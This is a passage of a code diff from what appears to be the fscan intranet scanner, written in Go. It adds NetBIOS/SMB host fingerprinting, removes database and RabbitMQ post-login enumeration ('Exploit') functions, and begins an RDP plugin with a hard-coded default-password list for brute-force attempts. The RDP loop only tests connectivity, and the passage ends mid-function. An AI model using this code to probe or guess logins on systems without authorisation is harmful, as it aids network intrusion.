Error: fmt.Errorf("NetBIOS插件仅支持137和139端口"),
|
||||
}
|
||||
}
|
||||
|
||||
var netbiosInfo *NetBIOSInfo
|
||||
var err error
|
||||
|
||||
if info.Ports == "137" {
|
||||
// UDP端口137 - NetBIOS名称服务
|
||||
netbiosInfo, err = p.queryNetBIOSNames(info.Host)
|
||||
} else {
|
||||
// TCP端口139 - NetBIOS会话服务
|
||||
netbiosInfo, err = p.queryNetBIOSSession(info.Host)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if !netbiosInfo.Valid {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: fmt.Errorf("未发现有效的NetBIOS信息"),
|
||||
}
|
||||
}
|
||||
|
||||
// 记录NetBIOS发现信息
|
||||
msg := fmt.Sprintf("NetBios %s", target)
|
||||
if netbiosInfo.Summary() != "" {
|
||||
msg += fmt.Sprintf(" %s", netbiosInfo.Summary())
|
||||
}
|
||||
common.LogSuccess(msg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "netbios",
|
||||
Banner: netbiosInfo.Summary(),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// NetBIOSInfo NetBIOS信息结构
|
||||
type NetBIOSInfo struct {
|
||||
Valid bool
|
||||
ComputerName string
|
||||
DomainName string
|
||||
WorkstationService string
|
||||
ServerService string
|
||||
DomainControllers string
|
||||
OSVersion string
|
||||
NetBIOSComputerName string
|
||||
NetBIOSDomainName string
|
||||
}
|
||||
|
||||
// Summary 返回NetBIOS信息摘要
|
||||
func (ni *NetBIOSInfo) Summary() string {
|
||||
if !ni.Valid {
|
||||
return ""
|
||||
}
|
||||
|
||||
var parts []string
|
||||
|
||||
// 优先使用完整的计算机名
|
||||
if ni.ComputerName != "" {
|
||||
if ni.DomainName != "" && !strings.Contains(ni.ComputerName, ".") {
|
||||
parts = append(parts, fmt.Sprintf("%s\\%s", ni.DomainName, ni.ComputerName))
|
||||
} else {
|
||||
parts = append(parts, ni.ComputerName)
|
||||
}
|
||||
} else {
|
||||
// 使用服务名称
|
||||
var name string
|
||||
if ni.ServerService != "" {
|
||||
name = ni.ServerService
|
||||
} else if ni.WorkstationService != "" {
|
||||
name = ni.WorkstationService
|
||||
} else if ni.NetBIOSComputerName != "" {
|
||||
name = ni.NetBIOSComputerName
|
||||
}
|
||||
|
||||
if name != "" {
|
||||
if ni.DomainName != "" {
|
||||
parts = append(parts, fmt.Sprintf("%s\\%s", ni.DomainName, name))
|
||||
} else if ni.NetBIOSDomainName != "" {
|
||||
parts = append(parts, fmt.Sprintf("%s\\%s", ni.NetBIOSDomainName, name))
|
||||
} else {
|
||||
parts = append(parts, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 添加域控制器标识
|
||||
if ni.DomainControllers != "" {
|
||||
if len(parts) > 0 {
|
||||
parts[0] = fmt.Sprintf("DC:%s", parts[0])
|
||||
}
|
||||
}
|
||||
|
||||
// 添加操作系统信息
|
||||
if ni.OSVersion != "" {
|
||||
parts = append(parts, ni.OSVersion)
|
||||
}
|
||||
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// queryNetBIOSNames 查询NetBIOS名称服务(UDP 137)
|
||||
func (p *NetBIOSPlugin) queryNetBIOSNames(host string) (*NetBIOSInfo, error) {
|
||||
// NetBIOS名称查询数据包
|
||||
queryPacket := []byte{
|
||||
0x66, 0x66, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x20, 0x43, 0x4B, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x21, 0x00, 0x01,
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:137", host)
|
||||
conn, err := net.DialTimeout("udp", target, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接NetBIOS名称服务失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
|
||||
_, err = conn.Write(queryPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送NetBIOS查询失败: %v", err)
|
||||
}
|
||||
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取NetBIOS响应失败: %v", err)
|
||||
}
|
||||
|
||||
return p.parseNetBIOSNames(response[:n])
|
||||
}
|
||||
|
||||
// queryNetBIOSSession 查询NetBIOS会话服务(TCP 139)
|
||||
func (p *NetBIOSPlugin) queryNetBIOSSession(host string) (*NetBIOSInfo, error) {
|
||||
target := fmt.Sprintf("%s:139", host)
|
||||
conn, err := net.DialTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接NetBIOS会话服务失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
|
||||
// 发送SMB协商数据包
|
||||
smbNegotiate1 := []byte{
|
||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
|
||||
_, err = conn.Write(smbNegotiate1)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMB协商1失败: %v", err)
|
||||
}
|
||||
|
||||
response1 := make([]byte, 1024)
|
||||
_, err = conn.Read(response1)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMB协商1响应失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送Session Setup请求
|
||||
smbSessionSetup := []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
_, err = conn.Write(smbSessionSetup)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMB Session Setup失败: %v", err)
|
||||
}
|
||||
|
||||
response2 := make([]byte, 2048)
|
||||
n, err := conn.Read(response2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMB Session Setup响应失败: %v", err)
|
||||
}
|
||||
|
||||
return p.parseNetBIOSSession(response2[:n])
|
||||
}
|
||||
|
||||
// parseNetBIOSNames 解析NetBIOS名称查询响应
|
||||
func (p *NetBIOSPlugin) parseNetBIOSNames(data []byte) (*NetBIOSInfo, error) {
|
||||
info := &NetBIOSInfo{Valid: false}
|
||||
|
||||
if len(data) < 57 {
|
||||
return info, fmt.Errorf("NetBIOS响应数据过短")
|
||||
}
|
||||
|
||||
// 获取名称记录数量
|
||||
numNames := int(data[56])
|
||||
if numNames == 0 {
|
||||
return info, fmt.Errorf("没有NetBIOS名称记录")
|
||||
}
|
||||
|
||||
nameData := data[57:]
|
||||
|
||||
// 服务类型映射
|
||||
uniqueNames := map[byte]string{
|
||||
0x00: "WorkstationService",
|
||||
0x03: "Messenger Service",
|
||||
0x06: "RAS Server Service",
|
||||
0x1F: "NetDDE Service",
|
||||
0x20: "ServerService",
|
||||
0x21: "RAS Client Service",
|
||||
0x1D: "Master Browser",
|
||||
0x1B: "Domain Master Browser",
|
||||
}
|
||||
|
||||
groupNames := map[byte]string{
|
||||
0x00: "DomainName",
|
||||
0x1C: "DomainControllers",
|
||||
0x1E: "Browser Service Elections",
|
||||
}
|
||||
|
||||
info.Valid = true
|
||||
|
||||
// 解析每个名称记录
|
||||
for i := 0; i < numNames && len(nameData) >= 18*(i+1); i++ {
|
||||
offset := 18 * i
|
||||
name := strings.TrimSpace(string(nameData[offset : offset+15]))
|
||||
flagByte := nameData[offset+15]
|
||||
|
||||
if len(nameData) >= 18*(i+1) {
|
||||
nameFlags := nameData[offset+16]
|
||||
|
||||
if nameFlags >= 128 {
|
||||
// 组名称
|
||||
if service, exists := groupNames[flagByte]; exists {
|
||||
switch service {
|
||||
case "DomainName":
|
||||
info.DomainName = name
|
||||
case "DomainControllers":
|
||||
info.DomainControllers = name
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// 唯一名称
|
||||
if service, exists := uniqueNames[flagByte]; exists {
|
||||
switch service {
|
||||
case "WorkstationService":
|
||||
info.WorkstationService = name
|
||||
case "ServerService":
|
||||
info.ServerService = name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// parseNetBIOSSession 解析NetBIOS会话响应
|
||||
func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) {
|
||||
info := &NetBIOSInfo{Valid: false}
|
||||
|
||||
if len(data) < 47 {
|
||||
return info, fmt.Errorf("SMB响应数据过短")
|
||||
}
|
||||
|
||||
info.Valid = true
|
||||
|
||||
// 解析OS版本信息
|
||||
blobLength := int(data[43]) + int(data[44])*256
|
||||
if len(data) >= 48+blobLength {
|
||||
osVersion := data[47+blobLength:]
|
||||
osText := p.cleanOSString(osVersion)
|
||||
if osText != "" {
|
||||
info.OSVersion = osText
|
||||
}
|
||||
}
|
||||
|
||||
// 查找NTLM数据
|
||||
ntlmStart := bytes.Index(data, []byte("NTLMSSP"))
|
||||
if ntlmStart != -1 && len(data) > ntlmStart+45 {
|
||||
p.parseNTLMInfo(data[ntlmStart:], info)
|
||||
}
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// parseNTLMInfo 解析NTLM信息
|
||||
func (p *NetBIOSPlugin) parseNTLMInfo(data []byte, info *NetBIOSInfo) {
|
||||
if len(data) < 45 {
|
||||
return
|
||||
}
|
||||
|
||||
// 获取Target Info偏移和长度
|
||||
targetInfoLength := int(data[40]) + int(data[41])*256
|
||||
targetInfoOffset := int(data[44])
|
||||
|
||||
if targetInfoOffset+targetInfoLength > len(data) {
|
||||
return
|
||||
}
|
||||
|
||||
// 解析AV_PAIR结构
|
||||
targetInfo := data[targetInfoOffset : targetInfoOffset+targetInfoLength]
|
||||
offset := 0
|
||||
|
||||
for offset+4 <= len(targetInfo) {
|
||||
avId := int(targetInfo[offset]) + int(targetInfo[offset+1])*256
|
||||
avLen := int(targetInfo[offset+2]) + int(targetInfo[offset+3])*256
|
||||
|
||||
if avId == 0x0000 || offset+4+avLen > len(targetInfo) {
|
||||
break
|
||||
}
|
||||
|
||||
value := p.parseUnicodeString(targetInfo[offset+4 : offset+4+avLen])
|
||||
|
||||
switch avId {
|
||||
case 0x0001: // NetBIOS computer name
|
||||
info.NetBIOSComputerName = value
|
||||
case 0x0002: // NetBIOS domain name
|
||||
info.NetBIOSDomainName = value
|
||||
case 0x0003: // DNS computer name
|
||||
if info.ComputerName == "" {
|
||||
info.ComputerName = value
|
||||
}
|
||||
case 0x0004: // DNS domain name
|
||||
if info.DomainName == "" {
|
||||
info.DomainName = value
|
||||
}
|
||||
}
|
||||
|
||||
offset += 4 + avLen
|
||||
}
|
||||
}
|
||||
|
||||
// cleanOSString 清理操作系统字符串
|
||||
func (p *NetBIOSPlugin) cleanOSString(data []byte) string {
|
||||
// 移除NULL字节并分割
|
||||
cleaned := bytes.ReplaceAll(data, []byte{0x00, 0x00}, []byte{124})
|
||||
cleaned = bytes.ReplaceAll(cleaned, []byte{0x00}, []byte{})
|
||||
|
||||
if len(cleaned) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
// 移除最后的分隔符
|
||||
if cleaned[len(cleaned)-1] == 124 {
|
||||
cleaned = cleaned[:len(cleaned)-1]
|
||||
}
|
||||
|
||||
osText := string(cleaned)
|
||||
parts := strings.Split(osText, "|")
|
||||
if len(parts) > 0 {
|
||||
return parts[0]
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// parseUnicodeString 解析Unicode字符串
|
||||
func (p *NetBIOSPlugin) parseUnicodeString(data []byte) string {
|
||||
if len(data)%2 != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var result []rune
|
||||
for i := 0; i < len(data); i += 2 {
|
||||
if i+1 >= len(data) {
|
||||
break
|
||||
}
|
||||
// UTF-16LE编码
|
||||
char := uint16(data[i]) | uint16(data[i+1])<<8
|
||||
if char == 0 {
|
||||
break
|
||||
}
|
||||
result = append(result, rune(char))
|
||||
}
|
||||
|
||||
return string(result)
|
||||
}
|
||||
|
||||
// byteToInt 字节转整数
|
||||
func (p *NetBIOSPlugin) byteToInt(b byte) int {
|
||||
return int(b)
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPlugin("netbios", func() Plugin {
|
||||
return NewNetBIOSPlugin()
|
||||
})
|
||||
}
|
@ -98,82 +98,6 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanRes
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行Oracle利用操作 - 实现数据库查询功能
|
||||
func (p *OraclePlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立Oracle连接
|
||||
db := p.testCredential(ctx, info, creds)
|
||||
if db == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("Oracle连接失败"),
|
||||
}
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("Oracle利用开始: %s (用户: %s)", target, creds.Username))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== Oracle利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取版本信息
|
||||
if version := p.getVersion(db); version != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[版本信息]\n%s\n", version))
|
||||
}
|
||||
|
||||
// 获取数据库信息
|
||||
if dbInfo := p.getDatabaseInfo(db); dbInfo != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[数据库信息]\n%s\n", dbInfo))
|
||||
}
|
||||
|
||||
// 获取表空间信息
|
||||
if tablespaces := p.getTablespaces(db); len(tablespaces) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[表空间] (共%d个)\n", len(tablespaces)))
|
||||
for i, ts := range tablespaces {
|
||||
if i >= 5 { // 限制显示前5个
|
||||
output.WriteString("... (更多表空间)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", ts))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取用户列表
|
||||
if users := p.getUsers(db); len(users) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[用户列表] (共%d个)\n", len(users)))
|
||||
for i, user := range users {
|
||||
if i >= 10 { // 限制显示前10个用户
|
||||
output.WriteString("... (更多用户)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", user))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取表列表(当前用户)
|
||||
if tables := p.getTables(db, creds.Username); len(tables) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[用户表] (共%d个)\n", len(tables)))
|
||||
for i, table := range tables {
|
||||
if i >= 5 { // 限制显示前5个表
|
||||
output.WriteString("... (更多表)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", table))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取权限信息
|
||||
if privileges := p.getPrivileges(db, creds.Username); privileges != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[用户权限]\n%s\n", privileges))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("Oracle利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testCredential 测试单个凭据 - 返回数据库连接或nil
|
||||
func (p *OraclePlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) *sql.DB {
|
||||
|
@ -97,77 +97,6 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo) *Sca
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行PostgreSQL利用操作 - 实现数据库查询功能
|
||||
func (p *PostgreSQLPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立PostgreSQL连接
|
||||
db := p.testCredential(ctx, info, creds)
|
||||
if db == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("PostgreSQL连接失败"),
|
||||
}
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("PostgreSQL利用开始: %s (用户: %s)", target, creds.Username))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== PostgreSQL利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取版本信息
|
||||
if version := p.getVersion(db); version != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[版本信息]\n%s\n", version))
|
||||
}
|
||||
|
||||
// 获取数据库列表
|
||||
if databases := p.getDatabases(db); len(databases) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[数据库列表] (共%d个)\n", len(databases)))
|
||||
for i, dbName := range databases {
|
||||
if i >= 10 { // 限制显示前10个
|
||||
output.WriteString("... (更多数据库)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", dbName))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取表列表(当前数据库)
|
||||
if tables := p.getTables(db); len(tables) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[表列表] (共%d个)\n", len(tables)))
|
||||
for i, table := range tables {
|
||||
if i >= 10 { // 限制显示前10个表
|
||||
output.WriteString("... (更多表)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", table))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取用户列表
|
||||
if users := p.getUsers(db); len(users) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[用户列表] (共%d个)\n", len(users)))
|
||||
for i, user := range users {
|
||||
if i >= 10 { // 限制显示前10个用户
|
||||
output.WriteString("... (更多用户)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", user))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取权限信息
|
||||
if privileges := p.getPrivileges(db, creds.Username); privileges != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[用户权限]\n%s\n", privileges))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("PostgreSQL利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testCredential 测试单个凭据 - 返回数据库连接或nil
|
||||
func (p *PostgreSQLPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) *sql.DB {
|
||||
|
@ -101,82 +101,6 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanR
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行RabbitMQ利用操作 - 实现队列信息提取功能
|
||||
func (p *RabbitMQPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("RabbitMQ利用开始: %s (用户: %s)", target, creds.Username))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== RabbitMQ利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取集群信息
|
||||
if clusterInfo := p.getClusterInfo(ctx, info, creds); clusterInfo != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[集群信息]\n%s\n", clusterInfo))
|
||||
}
|
||||
|
||||
// 获取节点信息
|
||||
if nodes := p.getNodes(ctx, info, creds); len(nodes) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[节点列表] (共%d个)\n", len(nodes)))
|
||||
for i, node := range nodes {
|
||||
if i >= 5 { // 限制显示前5个节点
|
||||
output.WriteString("... (更多节点)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", node))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取虚拟主机
|
||||
if vhosts := p.getVHosts(ctx, info, creds); len(vhosts) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[虚拟主机] (共%d个)\n", len(vhosts)))
|
||||
for _, vhost := range vhosts {
|
||||
output.WriteString(fmt.Sprintf(" %s\n", vhost))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取用户列表
|
||||
if users := p.getUsers(ctx, info, creds); len(users) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[用户列表] (共%d个)\n", len(users)))
|
||||
for i, user := range users {
|
||||
if i >= 10 { // 限制显示前10个用户
|
||||
output.WriteString("... (更多用户)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", user))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取队列列表
|
||||
if queues := p.getQueues(ctx, info, creds); len(queues) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[队列列表] (共%d个)\n", len(queues)))
|
||||
for i, queue := range queues {
|
||||
if i >= 10 { // 限制显示前10个队列
|
||||
output.WriteString("... (更多队列)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", queue))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取交换器列表
|
||||
if exchanges := p.getExchanges(ctx, info, creds); len(exchanges) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[交换器] (共%d个)\n", len(exchanges)))
|
||||
for i, exchange := range exchanges {
|
||||
if i >= 5 { // 限制显示前5个交换器
|
||||
output.WriteString("... (更多交换器)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", exchange))
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("RabbitMQ利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testAMQPProtocol 测试AMQP协议
|
||||
func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
217
plugins/services/rdp.go
Normal file
217
plugins/services/rdp.go
Normal file
@ -0,0 +1,217 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// RDPPlugin RDP远程桌面服务扫描插件 - 弱密码检测和服务识别
|
||||
type RDPPlugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// NewRDPPlugin 创建RDP插件
|
||||
func NewRDPPlugin() *RDPPlugin {
|
||||
return &RDPPlugin{
|
||||
name: "rdp",
|
||||
ports: []int{3389}, // RDP端口
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
func (p *RDPPlugin) GetName() string {
|
||||
return p.name
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
func (p *RDPPlugin) GetPorts() []int {
|
||||
return p.ports
|
||||
}
|
||||
|
||||
// Scan 执行RDP扫描 - 基础服务识别
|
||||
func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 检查端口
|
||||
if info.Ports != "3389" {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: fmt.Errorf("RDP插件仅支持3389端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 如果禁用暴力破解,只做服务识别
|
||||
if common.DisableBrute {
|
||||
return p.identifyService(ctx, info)
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("rdp")
|
||||
if len(credentials) == 0 {
|
||||
// RDP默认凭据
|
||||
credentials = []Credential{
|
||||
{Username: "administrator", Password: ""},
|
||||
{Username: "administrator", Password: "administrator"},
|
||||
{Username: "administrator", Password: "password"},
|
||||
{Username: "administrator", Password: "123456"},
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "admin", Password: "123456"},
|
||||
{Username: "user", Password: "user"},
|
||||
{Username: "test", Password: "test"},
|
||||
}
|
||||
}
|
||||
|
||||
// 逐个测试凭据(简化版本,实际RDP认证需要复杂的协议处理)
|
||||
for _, cred := range credentials {
|
||||
// 检查Context是否被取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
// 简化的RDP连接测试(实际需要完整的RDP协议实现)
|
||||
if p.testRDPConnection(ctx, info) {
|
||||
common.LogSuccess(fmt.Sprintf("RDP %s 服务可用", target))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "rdp",
|
||||
